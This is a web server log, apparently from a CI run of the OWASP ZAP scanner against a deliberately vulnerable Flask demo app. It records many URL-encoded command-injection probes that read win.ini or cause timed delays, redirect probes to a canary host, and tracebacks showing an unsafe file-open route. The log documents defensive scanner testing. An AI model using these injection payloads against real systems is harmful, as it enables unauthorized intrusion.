172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%27%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bget-help+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%26timeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bstart-sleep+-s+15+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%26timeout+%2FT+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%27%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bget-help+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bstart-sleep+-s+15+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /bonus/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /mystery/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss2/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss3/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss4/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss5/ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=https%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
[2017-10-18 08:05:17,574] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=5149675220896205941.owasp.org HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=http%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
[2017-10-18 08:05:17,579] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'http:5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=https%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
[2017-10-18 08:05:17,583] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'https:5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=https%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
[2017-10-18 08:05:17,590] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'http:\\\\5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=http%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 500 -
[2017-10-18 08:05:17,597] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'https:\\\\5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=https%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 500 -
[2017-10-18 08:05:17,601] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=%2F%2F5149675220896205941.owasp.org HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=HtTp%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
[2017-10-18 08:05:17,611] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'\\\\5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=%5C%5C5149675220896205941.owasp.org HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /?query=HtTpS%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
[2017-10-18 08:05:17,621] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'HtTp:5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=HtTp%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 500 -
[2017-10-18 08:05:17,625] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'HtTpS:5149675220896205941.owasp.org'
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /bonus?name=HtTpS%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /mystery?name=5149675220896205941.owasp.org HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /mystery?name=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=https%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=http%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=https%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=%5C%5C5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=HtTp%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /robots.txt?query=HtTpS%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=http%3A%2F%2F5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=https%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=https%3A%2F%2F5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=http%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=http%3A%5C%5C5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=https%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=https%3A%5C%5C5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=%2F%2F5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=%5C%5C5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=%5C%5C5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=HtTp%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /xss1?a=HtTp%3A%2F%2F5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:17] "GET /sitemap.xml?query=HtTpS%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=HtTpS%3A%2F%2F5149675220896205941.owasp.org&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=https%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=http%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=https%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=HtTp%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss1?a=k&name=HtTpS%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=http%3A%2F%2F5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=http%3A%2F%2F5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=https%3A%2F%2F5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=https%3A%2F%2F5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=http%3A%5C%5C5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=http%3A%5C%5C5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=https%3A%5C%5C5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=https%3A%5C%5C5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=%2F%2F5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=%2F%2F5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=%5C%5C5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=%5C%5C5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=HtTp%3A%2F%2F5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=HtTp%3A%2F%2F5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=HtTpS%3A%2F%2F5149675220896205941.owasp.org&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=HtTpS%3A%2F%2F5149675220896205941.owasp.org&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=http%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=https%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=https%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=http%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=http%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=https%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=https%3A%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=%5C%5C5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=HtTp%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=HtTp%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss2?a=k&name=HtTpS%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss3?a=k&name=HtTpS%3A%2F%2F5149675220896205941.owasp.org HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss5?a=5149675220896205941.owasp.org&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss5?a=http%3A%2F%2F5149675220896205941.owasp.org&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss4?a=5149675220896205941.owasp.org&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss5?a=https%3A%2F%2F5149675220896205941.owasp.org&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss4?a=http%3A%2F%2F5149675220896205941.owasp.org&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss5?a=http%3A%5C%5C5149675220896205941.owasp.org&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss4?a=https%3A%2F%2F5149675220896205941.owasp.org&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss5?a=https%3A%5C%5C5149675220896205941.owasp.org&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss4?a=http%3A%5C%5C5149675220896205941.owasp.org&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:18] "GET /xss5?a=%2F%2F5149675220896205941.owasp.org&name=Loki HTTP/1.1" 200 -
